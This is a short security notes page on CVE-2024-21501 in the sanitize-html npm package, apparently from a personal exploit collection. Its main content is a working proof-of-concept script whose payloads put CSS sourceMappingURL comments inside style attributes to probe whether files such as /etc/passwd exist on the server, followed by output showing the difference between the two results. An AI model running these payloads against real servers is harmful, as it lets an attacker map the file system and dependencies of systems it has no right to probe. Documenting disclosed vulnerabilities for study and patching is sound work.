> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/node/sanitize-html-cve-2024-21501.md).

# sanitize-html - CVE-2024-21501

Affected versions (**<2.12.1**) of this package are vulnerable to <mark style="color:red;">Information Exposure</mark> when used on the backend and with the `style` attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.

***

## PoC || GTFO

```javascript
// index.js
const sanitizeHtml = require('sanitize-html');

const file_exist = `<a style='background-image: url("/*# sourceMappingURL=/etc/passwd */");'>@slonser_</a>`;
const file_dont_exist = `<a style='background-image: url("/*# sourceMappingURL=/etc/nopasswd */");'>@slonser_</a>`;

// vulnerable sanitize
const sanitize = (input) => sanitizeHtml(input, {
  allowedAttributes: {
    ...sanitizeHtml.defaults.allowedAttributes,
    a: ['style'],
  },
});

const sanitized_exist = sanitize(file_exist);
const sanitized_dont_exist = sanitize(file_dont_exist);

console.log(sanitized_exist, "<-- response when file is found");
console.log(sanitized_dont_exist, "<-- response when file is not found");

```

```bash
root@8cf83668943d:~# node index.js 
[... snip ...]
<a>@slonser_</a> <-- response when file is found
<a style="background-image:url(&quot;/*# sourceMappingURL=/etc/nopasswd */&quot;)">@slonser_</a> <-- response when file is not found

```


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